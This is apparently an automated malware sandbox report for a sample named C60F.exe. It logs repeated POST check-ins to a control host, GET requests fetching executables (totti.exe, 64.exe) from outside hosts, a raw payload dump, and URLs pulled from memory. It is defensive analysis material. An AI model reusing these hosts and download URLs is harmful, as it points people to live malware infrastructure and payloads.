Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nqowrenk.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 128Host: perficut.at
Source: global traffic	HTTP traffic detected: GET /totti.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 23.106.124.133
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://biqlae.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 251Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cidgpb.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 358Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://amjugskah.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 137Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uiyywtsd.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 353Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dbxnnkev.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 368Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://obrfkgtio.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 302Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rafofnhysi.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 259Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pmcji.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 148Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nxwnyrf.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 233Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wvawrly.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 365Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wvawrly.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 365Host: perficut.atData Raw: 3b 6e 50 19 f0 cf 60 54 ad ac c4 02 07 06 72 c9 7a 0c cc 96 6d 00 9f 64 09 7e 78 e0 34 b6 c2 19 9f 2a cf 21 72 65 25 6e ed ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 03 6b 2c 90 f5 76 0b 75 54 2e d5 ee 5e 0c c2 bd ac 66 59 db b3 d4 e3 f9 17 5d b4 86 a0 d5 c5 3a d5 89 e3 3d ae 03 02 75 0f 01 38 9b 02 fd 2a 3d 9a a1 cb dd f3 df 62 47 dc ae e6 4b c0 26 b3 24 fd 4f ce 3e 4f 45 e3 5a 5a c9 66 64 20 2c d7 5d c3 94 b0 c9 ff ed e1 92 99 0f 9d c9 d5 20 73 ed 53 2d ba cf 51 da 0a 5f 63 88 ca d7 ad b6 c0 a8 9a 8e c5 08 0e f0 98 c7 70 c6 be bd 23 c2 0f ae e5 de d5 9f c1 d1 9d 1d 69 84 81 e4 11 0c d7 9b eb 6d 51 84 d1 46 c6 5c 5c 19 95 76 c6 ba c2 14 c3 8f 01 43 3d 83 5f 28 fa dc 30 c8 0d 12 e4 c7 90 ed cf 23 f3 b2 e6 68 e0 58 c0 1c 71 ac f6 83 1c b8 45 6e a2 00 3f 14 92 69 28 fc c1 ba 30 d3 13 ba 2d f8 ed 2c 84 31 25 04 44 24 f0 e3 5b 66 a8 99 0b 95 d7 29 39 17 a9 b3 ad 02 1c 42 49 25 db f2 d5 2b b1 ae f8 f9 d4 4c 22 2a f3 08 b8 bc 80 20 dd 1f f2 00 13 c8 b0 92 26 4c 56 3e 2a 70 18 51 57 fc 0f 19 ca 9a ae 4e 23 0b c2 d9 da 91 6b d6 41 28 87 17 69 Data Ascii: ;nP`Trzmd~x4!re%n?$`7C[zqNA -[k,vuT.^fY]:=u8=bGK&$O>OEZZfd ,] sS-Q_cp#imQF\\vC=_(0#hXqEn?i(0-,1%D$[f)9BI%+L" &LV>*pQWN#kA(i
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://heyskpnfpp.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 288Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qcbqlwpayk.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 196Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dciawds.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 359Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lcwlg.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 179Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mkhxjx.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 246Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://swrtekc.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 159Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dspqjvfs.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 252Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rkgmxijupo.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 324Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fowipo.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 353Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tktfxfv.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 226Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cxtkcijc.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 232Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://waysck.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 208Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rryrnc.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 291Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://sxbexvemhb.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 150Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ymquehcf.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 173Host: perficut.at
Source: global traffic	HTTP traffic detected: GET /64.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: h167471.srv11.test-hf.su
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wexskr.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 207Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://huborjamyv.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 148Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hnxmyktp.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 332Host: perficut.at

Source: Joe Sandbox View

ASN Name: VIDEOSATBG VIDEOSATBG

Source: Joe Sandbox View	IP Address: 95.158.162.200 95.158.162.200
Source: Joe Sandbox View	IP Address: 95.158.162.200 95.158.162.200

Source: unknown

Network traffic detected: DNS query count 80

Source: unknown

Network traffic detected: IP country count 10

Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://2.gravatar.com/avatar/8f1795d9778dd5337c87d22e0464e1c3?s=96&d=mm&r=g
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://assets.lolipop.jp/img/bnr/bnr_lolipop_ad_001.gif
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://blog.goo.ne.jp/baijaco/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://blog.goo.ne.jp/baijakujaco
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://chart.apis.google.com/chart?chs=100x100&cht=qr&chld=L
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://furec.sakura.ne.jp/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://gholographic.com/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://gmpg.org/xfn/11
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://hummer.hu/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://js.ad-stir.com/js/adstir.js?20130527
Source: C60F.exe, 00000014.00000002.540645327.00000000047F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://mobilnic.net/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://myropcb.com
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://myropcb.com/login/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://myropcb.com/register/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://new.nelipak.com/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://pcgrate.com/
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.abart.pl/
Source: C60F.exe, 00000014.00000002.542289186.0000000006A70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.aevga.com/
Source: C60F.exe, 00000014.00000002.536733426.00000000007EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.alteor.cl/5
Source: C60F.exe, 00000014.00000002.536733426.00000000007EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.alteor.cl/g
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.asdoptics.com
Source: explorer.exe, 00000001.00000000.278791597.000000000F276000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000003.289259467.000000000F276000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.267542421.0000000001425000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: C60F.exe, 00000014.00000002.536733426.00000000007EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.baijaku.com/
Source: C60F.exe, 00000014.00000002.536733426.00000000007EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.baijaku.com/0
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.baijaku.com/cgi-bin/daycount/daycount.cgi?gif
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.baijaku.com/cgi-bin/daycount/daycount.cgi?today
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.baijaku.com/cgi-bin/daycount/daycount.cgi?yes
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.baijaku.com/gallery.htm
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.baijaku.com/images/cd/cdshop/cd_bright
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.baijaku.com/images/cd/cdshop/cd_bright%20fortune.html
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.c9dd.com/
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.c9dd.com/v
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.c9dd.com/v1.0
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cel-cpa.com/
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cel-cpa.com/hK
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cokocoko.com/
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.crcsi.org/
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.dayvo.com/-Pd
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.dayvo.com/Pq
Source: C60F.exe, 00000014.00000002.542289186.0000000006A70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.domon.com/
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.edimart.hu/
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/
Source: C60F.exe, 00000014.00000002.542289186.0000000006A70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.evcpa.com/
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fcwcvt.org/
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fcwcvt.org/C
Source: C60F.exe, 00000014.00000002.542289186.0000000006A70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fe-bauer.de/
Source: C60F.exe, 00000014.00000002.542289186.0000000006A70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fe-bauer.de/Lb
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.findbc.com/
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.findbc.com/AP
Source: C60F.exe, 00000014.00000002.542289186.0000000006A70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fink.com/
Source: C60F.exe, 00000014.00000002.539957658.0000000002CEC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://www.fnw.us
Source: C60F.exe, 00000014.00000002.536733426.00000000007EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fnw.us/
Source: C60F.exe, 00000014.00000002.536733426.00000000007EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ftchat.com/
Source: C60F.exe, 00000014.00000002.536733426.00000000007EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ftchat.com/M
Source: C60F.exe, 00000014.00000002.540413152.0000000003C2D000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://www.gpthink.com
Source: C60F.exe, 00000014.00000002.536733426.00000000007EC000.00000004.00000020.00020000.00000000.sdmp, C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.gpthink.com/
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.gpthink.com/xP
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.holleman.us/
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.holleman.us/eP
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iamdirt.com/
Source: C60F.exe, 00000014.00000002.536733426.00000000007EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.item-pr.com/
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jacomfg.com/
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jacomfg.com/#PR
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jchysk.com/
Source: C60F.exe, 00000014.00000002.536733426.00000000007EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jenco.co.uk/
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jroy.net/
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jroy.net/z
Source: C60F.exe, 00000014.00000002.542289186.0000000006A70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.koz1.net/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.lagencefrancaise.com
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.litespeedtech.com/error-page
Source: C60F.exe, 00000014.00000002.542289186.0000000006A70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.lrsuk.com/Bb
Source: C60F.exe, 00000014.00000002.542289186.0000000006A70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.lrsuk.com/yb
Source: C60F.exe, 00000014.00000002.542289186.0000000006A70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.medisa.info/
Source: C60F.exe, 00000014.00000002.542289186.0000000006A70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.medisa.info/3c
Source: C60F.exe, 00000014.00000002.540596408.00000000045ED000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net
Source: C60F.exe, 00000014.00000002.540645327.00000000047F0000.00000004.00001000.00020000.00000000.sdmp, C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/:
Source: C60F.exe, 00000014.00000002.540645327.00000000047F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/alone/alone.php?id=25
Source: C60F.exe, 00000014.00000002.540645327.00000000047F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/alone/alone.php?id=8
Source: C60F.exe, 00000014.00000002.540645327.00000000047F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/product/product.php?id=4
Source: C60F.exe, 00000014.00000002.540645327.00000000047F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/product/product.php?id=5
Source: C60F.exe, 00000014.00000002.540645327.00000000047F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/product/product.php?id=73
Source: C60F.exe, 00000014.00000002.540645327.00000000047F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/product/product.php?id=84
Source: C60F.exe, 00000014.00000002.540645327.00000000047F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/template/default/images/5.jpg
Source: C60F.exe, 00000014.00000002.540645327.00000000047F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/upload/img/201905241912296060.jpg
Source: C60F.exe, 00000014.00000002.540645327.00000000047F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/upload/img/201905280859514872.png
Source: C60F.exe, 00000014.00000002.540645327.00000000047F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/upload/img/201905280901053168.png
Source: C60F.exe, 00000014.00000002.540645327.00000000047F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/upload/img/201905280901466048.png
Source: C60F.exe, 00000014.00000002.540645327.00000000047F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/upload/img/201905280902356680.png
Source: C60F.exe, 00000014.00000002.540645327.00000000047F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/upload/img/201905280903087981.png
Source: C60F.exe, 00000014.00000002.540645327.00000000047F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/upload/img/201905280903341013.png
Source: C60F.exe, 00000014.00000002.540645327.00000000047F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/upload/img/201905291108419374.jpg)
Source: C60F.exe, 00000014.00000002.540645327.00000000047F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/upload/img/201905291214076922.jpg)
Source: C60F.exe, 00000014.00000002.540645327.00000000047F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/upload/img/201905291719408368.jpg)
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mqs.com.br/
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mqs.com.br/A
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com#breadcrumblist
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com#webpage
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp, C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/#organization
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/#website
Source: C60F.exe, 00000014.00000002.542289186.0000000006A70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/.b
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/?s=
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/blog/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/comments/feed/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/contact-us/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/contact-us/suggestion-box/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/download/DownloadApk.php
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/faq/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/feed/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/my-cart/
